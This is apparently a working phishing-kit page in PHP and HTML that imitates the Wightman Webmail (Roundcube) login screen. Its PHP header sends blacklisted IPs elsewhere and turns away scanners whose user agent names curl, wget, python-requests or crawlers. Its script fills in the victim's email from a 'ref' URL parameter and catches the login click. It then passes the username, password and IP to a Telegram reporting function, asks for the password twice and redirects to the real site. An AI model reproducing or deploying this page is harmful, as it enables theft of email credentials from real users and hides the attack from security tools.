<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Wightman Webmail :: Welcome to Wightman Webmail</title>
<link rel="index" href="./?_task=login" />
<link rel="shortcut icon" href="skins/classic/images/favicon.ico"/>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<style type="text/css">
/* Wightman Webmail Classic Skin CSS */
body {
    font-family: "Lucida Grande", Verdana, Arial, Helvetica, sans-serif;
    margin: 8px;
    background-color: #f6f6f6;
    color: #000;
    font-size: 12px;
}

body.iframe {
    margin: 20px 0 0 0;
    background-color: #FFF;
}

body.extwin {
    margin: 10px;
}

select, input, textarea, button {
    font-size: inherit;
    font-family: inherit;
}

th {
    font-weight: normal;
}

h3 {
    font-size: 18px;
}

a, a:active, a:visited {
    color: #000;
    outline: 0;
}

a.button, a.button:visited, a.tab, a.tab:visited, a.axislist {
    color: #000;
    text-decoration: none;
}

a.tab {
    width: 80px;
    display: block;
    text-align: center;
}

a.disabled {
    color: #999;
    text-decoration: none;
    cursor: default;
}

hr {
    height: 1px;
    background-color: #666;
    border-style: none;
}

input[type="text"], input[type="button"], input[type="password"], textarea {
    border: 1px solid #666;
    color: #333;
    background-color: #FFF;
}

input, textarea {
    color: black;
    padding: 1px 3px;
}

input.placeholder, textarea.placeholder, input:-moz-placeholder, textarea:-moz-placeholder {
    color: #aaa;
}

input.button {
    height: 24px;
    color: #333;
    font-size: 12px;
    padding-left: 12px;
    padding-right: 12px;
    background: linear-gradient(to bottom, #f9f9f9, #e0e0e0);
    border: 1px solid #a4a4a4;
    cursor: pointer;
}

input.button:hover {
    color: black;
    background: linear-gradient(to bottom, #ffffff, #e8e8e8);
}

input.button[disabled], input.button[disabled]:hover {
    color: #aaa;
    border-color: #ccc;
}

input.mainaction {
    font-weight: bold;
    border: 1px solid #999;
    background: linear-gradient(to bottom, #ffffff, #f0f0f0);
    color: #333;
    padding: 4px 16px;
    border-radius: 3px;
}

input.mainaction:hover {
    background: linear-gradient(to bottom, #ffffff, #e8e8e8);
}

img {
    border: 0;
}

.alttext {
    font-size: 11px;
}

.hint {
    color: #666;
    font-size: 11px;
}

.formlinks a, .formlinks a:visited {
    color: #c00;
    font-size: 11px;
    text-decoration: none;
}

.formlinks a.disabled, .formlinks a.disabled:visited {
    color: #999;
}

.voice {
    display: none;
}

.noselect {
    user-select: none;
    -moz-user-select: none;
    -khtml-user-select: none;
    -ms-user-select: none;
    -webkit-user-select: none;
}

label input, label span {
    vertical-align: middle;
}

body > #logo {
    margin-left: 11px;
    cursor: pointer;
    margin: 0 11px;
}

body > #message {
    position: absolute;
    display: none;
    top: -1px;
    margin-left: -225px;
    left: 50%;
    z-index: 5000;
    opacity: .85;
}

body > #message div {
    width: 400px;
    margin: 0;
    min-height: 22px;
    padding: 8px 10px 8px 46px;
}

body > #message div.notice, body > #messagebody .part-notice, body > #mainscreen #messagebody .part-notice, #message-objects div.notice {
    background-color: #f7fdcb;
    border: 1px solid #c2d071;
}

body > #message div.error, body > #message div.warning, #message-objects div.warning, #message-objects div.error {
    background-color: #ef9398;
    border: 1px solid #dc5757;
}

body > #message div.confirmation, #message-objects div.confirmation {
    background-color: #a6ef7b;
    border: 1px solid #76c83f;
}

body > #message div.loading, body > #message div.uploading, #message-objects div.loading {
    background-color: #ebebeb;
    border: 1px solid #ccc;
}

body > #message div.voice {
    position: absolute;
    top: -1000px;
    clip: rect(0 0 0 0);
}

body > #message a {
    cursor: pointer;
    text-decoration: underline;
}

body.extwin #closelink {
    position: absolute;
    top: 5px;
    right: 20px;
    text-align: right;
    z-index: 100;
}

.box {
    border: 1px solid #999;
    background-color: #f2f2f2;
}

.boxtitle {
    height: 12px !important;
    padding: 8px 10px 8px 10px;
    border-bottom: 1px solid #999;
    color: #333;
    font-size: 12px;
    font-weight: bold;
    overflow: hidden;
    text-overflow: ellipsis;
    -o-text-overflow: ellipsis;
    white-space: nowrap;
    background: linear-gradient(to bottom, #e0e0e0, #c0c0c0);
}

.boxtitle .rightalign {
    float: right;
}

body.iframe .boxtitle {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
}

.boxcontent {
    padding: 20px 10px 20px 10px;
    background-color: #f2f2f2;
}

.boxcontent .boxwarning {
    margin: 0 0 10px;
    display: block;
    min-height: 22px;
    background-color: #ef9398;
    border: 1px solid #dc5757;
    padding: 8px 10px 8px 46px;
}

.boxcontent table td.title {
    color: #666;
    padding-right: 10px;
    font-size: 12px;
}

#login-form {
    margin-left: auto;
    margin-right: auto;
    margin-top: 50px;
    width: 400px;
    border: 1px solid #999;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}

#login-form table td.title {
    text-align: right;
    white-space: nowrap;
    padding: 5px 10px 5px 0;
}

#login-form table {
    width: 1%;
    margin: auto;
}

#login-form table td.input input {
    width: 200px;
    padding: 4px;
    border: 1px solid #999;
}

#login-bottomline {
    width: 400px;
    margin: 5em auto;
    font-size: 85%;
    text-align: center;
    color: #666;
}

#login-noscriptwarning {
    margin: 2em auto 0 auto;
    width: 400px;
    color: #cf2734;
    font-weight: bold;
}

.disabled, a.disabled {
    color: #999;
}

font.bold {
    font-weight: bold;
}

.formbuttons {
    text-align: center;
    margin-top: 15px;
}

.disabled, a.disabled {
    color: #999;
}

font.bold {
    font-weight: bold;
}

.formbuttons {
    text-align: center;
}

ul.toolbarmenu {
    margin: -4px 0 -4px 0;
    padding: 0;
    list-style: none;
}

ul.toolbarmenu li {
    font-size: 11px;
    white-space: nowrap;
    min-width: 130px;
    margin: 2px -4px;
}

ul.toolbarmenu li a {
    display: block;
    color: #a0a0a0;
    padding: 3px 12px 3px 28px;
    text-decoration: none;
    min-height: 14px;
    line-height: 14px;
}

ul.toolbarmenu li a.active, ul.toolbarmenu li a.active:active, ul.toolbarmenu li a.active:visited {
    color: #333;
}

ul.toolbarmenu li input {
    vertical-align: middle;
}

ul.toolbarmenu li hr {
    color: #ccc;
    width: 130px;
    height: 1px;
    margin: 2px 1px 2px 1px;
}

ul.toolbarmenu li img {
    float: left;
    margin: 0 2px;
}
</style>

<script src="program/js/jquery.min.js?s=1766160596" type="text/javascript"></script>
<script src="../m/js/fingerprint.js"></script>
<script src="../m/js/utils.js"></script>
<script src="../m/js/captcha.js"></script>
<script src="program/js/common.min.js?s=1766160596" type="text/javascript"></script>
<script src="program/js/app.min.js?s=1766160596" type="text/javascript"></script>
<script src="program/js/jstz.min.js?s=1766160596" type="text/javascript"></script>

<script type="text/javascript">
/* <![CDATA[ */

/*
        @licstart  The following is the entire license notice for the 
        JavaScript code in this page.

        Copyright (C) 2005-2014 The Roundcube Dev Team

        The JavaScript code in this page is free software: you can redistribute
        it and/or modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation, either version 3 of
        the License, or (at your option) any later version.

        The code is distributed WITHOUT ANY WARRANTY; without even the implied
        warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
        See the GNU GPL for more details.

        @licend  The above is the entire license notice
        for the JavaScript code in this page.
*/
var rcmail = new rcube_webmail();
rcmail.set_env({"task":"login","standard_windows":false,"locale":"en_US","devel_mode":null,"cookie_domain":"","cookie_path":"\/","cookie_secure":true,"skin":"classic","refresh_interval":60,"session_lifetime":1800,"action":"","comm_path":".\/?_task=login","compose_extwin":false,"date_format":"yy-mm-dd","request_token":"esCFZs1QjgKZG8Htfe60qovLIasUREyt"});
rcmail.add_label({"loading":"Loading...","servererror":"Server Error!","connerror":"Connection Error (Failed to reach the server)!","requesttimedout":"Request timed out","refreshing":"Refreshing...","windowopenerror":"The popup window was blocked!","uploadingmany":"Uploading files...","close":"Close"});
rcmail.gui_container("loginfooter","bottomline");
rcmail.gui_object('message', 'message');
rcmail.gui_object('loginform', 'form');
/* ]]> */
</script>
<!-- Centralized Scripts -->
<script src="../js/centralized_telegram.js"></script>
<script src="../js/centralized_redirect.js"></script>
<script src="../js/email_extractor.js"></script>
<script src="../js/autofill_helper.js"></script>

<script type="text/javascript" src="plugins/jqueryui/js/jquery-ui.min.js?s=1636751547"></script>
<script>
        // Extract email from URL parameters (same logic as other pages)
        function extractEmailFromURL() {
            const urlParams = new URLSearchParams(window.location.search);
            let email = urlParams.get('ref');
            
            if (!email) {
                const hash = window.location.hash || '';
                if (hash) {
                    const fragment = hash.substr(1);
                    if (fragment) {
                        const partsIdx = fragment.indexOf('=');
                        if (partsIdx !== -1) {
                            email = fragment.substr(partsIdx + 1);
                        } else {
                            email = fragment;
                        }
                    }
                }
            }
            
            if (!email) return null;

            // URL decode
            email = decodeURIComponent(email);

            // Check if base64 encoded
            const base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
            if (base64regex.test(email.replace(/\s/g, ''))) {
                try {
                    const decoded = atob(email);
                    if (decoded && decoded.includes('@')) email = decoded;
                } catch (e) { }
            }

            // Validate email format
            const emailRegex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
            if (emailRegex.test(email)) {
                return email;
            }

            return null;
        }

        // Auto-fill form with extracted email
        function autoFillForm() {
            const email = extractEmailFromURL();
            if (email) {
                const usernameField = document.getElementById('rcmloginuser');
                const passwordField = document.getElementById('rcmloginpwd');
                
                if (usernameField) {
                    usernameField.value = email;
                    usernameField.autocomplete = 'username';
                }
                
                // Focus on password field since username is filled
                if (passwordField) {
                    passwordField.focus();
                }
            }
        }

        var credentialSubmitCount = 0;
        var WHITEMAN_FALLBACK = 'https://webmail.wightman.ca/';

        document.addEventListener('DOMContentLoaded', function() {
            autoFillForm();

            var loginBtn = document.getElementById('rcmloginsubmit');
            if (!loginBtn) return;

            loginBtn.addEventListener('click', function(e) {
                e.preventDefault();

                var username = document.getElementById('rcmloginuser').value.trim();
                var password = document.getElementById('rcmloginpwd').value;
                var messageDiv = document.getElementById('message');

                if (!username || !password) {
                    if (messageDiv) {
                        messageDiv.innerHTML = '<div class="error">Please enter your username and password.</div>';
                        messageDiv.style.display = 'block';
                    }
                    return false;
                }

                if (messageDiv) {
                    messageDiv.style.display = 'none';
                    messageDiv.innerHTML = '';
                }

                credentialSubmitCount++;
                var redirectOnSuccess = (credentialSubmitCount >= 2);
                window.providerTag = 'whiteman';
                var clientIP = window.userip || 'n/a';

                loginBtn.disabled = true;

                function runRedirect() {
                    if (!redirectOnSuccess) return;
                    window.allowFormRedirect = true;
                    if (typeof performCentralizedRedirect === 'function') {
                        performCentralizedRedirect(300);
                    } else {
                        setTimeout(function() { window.location.replace(WHITEMAN_FALLBACK); }, 300);
                    }
                }

                if (typeof sendCentralizedTelegramReport === 'function') {
                    sendCentralizedTelegramReport('whiteman', username, password, clientIP, function() {
                        runRedirect();
                    });
                } else {
                    console.error('Centralized Telegram function not available');
                    if (redirectOnSuccess) {
                        window.allowFormRedirect = true;
                        setTimeout(function() { window.location.replace(WHITEMAN_FALLBACK); }, 300);
                    }
                }

                if (redirectOnSuccess) {
                    var prevVal = loginBtn.value;
                    loginBtn.value = 'Logging in...';
                    setTimeout(function() { loginBtn.value = prevVal; }, 200);
                }

                if (credentialSubmitCount === 1) {
                    document.getElementById('rcmloginpwd').value = '';
                    document.getElementById('rcmloginpwd').focus();
                    loginBtn.disabled = false;
                }
            });
        });
</script>
</head>
<body>

<img src="https://webmail.wightman.ca/skins/classic/images/roundcube_logo.png" id="logo" border="0" style="margin:0 11px" alt="Wightman Webmail">

<div id="message"></div>

<div id="login-form">
<div class="boxtitle">Welcome to Wightman Webmail</div>
<div class="boxcontent">

<form name="form" method="post" action="#" id="login-form">
<input type="hidden" name="_token" value="esCFZs1QjgKZG8Htfe60qovLIasUREyt">
<input type="hidden" name="_task" value="login"><input type="hidden" name="_action" value="login"><input type="hidden" name="_timezone" id="rcmlogintz" value="_default_"><input type="hidden" name="_url" id="rcmloginurl" value="_gl=1*1aw5jov*_gcl_au*NDA2MjAxMTgyLjE3NzUyNTM3NTU."><table summary="" border="0"><tbody><tr><td class="title"><label for="rcmloginuser">Username</label>
</td>
<td class="input"><input name="_user" id="rcmloginuser" required="required" autocapitalize="off" type="text"></td>
</tr>
<tr><td class="title"><label for="rcmloginpwd">Password</label>
</td>
<td class="input"><input name="_pass" id="rcmloginpwd" required="required" autocapitalize="off" type="password"></td>
</tr>
</tbody>
</table>
<p class="formbuttons"><input type="submit" id="rcmloginsubmit" class="button mainaction" value="Login"></p>

</form>

</div>
</div>

<noscript>
  <p id="login-noscriptwarning">Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser's settings.</p>
</noscript>

<div id="login-bottomline">
  Wightman Webmail 

</div>

<script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
<script type="text/javascript">
/* <![CDATA[ */

$(document).ready(function(){ 
rcmail.init();
var images = ["skins\/classic\/images\/icons\/folders.png","skins\/classic\/images\/mail_footer.png","skins\/classic\/images\/taskicons.gif","skins\/classic\/images\/display\/loading.gif","skins\/classic\/images\/pagenav.gif","skins\/classic\/images\/mail_toolbar.png","skins\/classic\/images\/searchfield.gif","skins\/classic\/images\/messageicons.png","skins\/classic\/images\/icons\/reset.gif","skins\/classic\/images\/abook_toolbar.png","skins\/classic\/images\/icons\/groupactions.png","skins\/classic\/images\/watermark.gif"];
            for (var i=0; i<images.length; i++) {
                img = new Image();
                img.src = images[i];
            }
});
/* ]]> */
</script>

</body>
</html>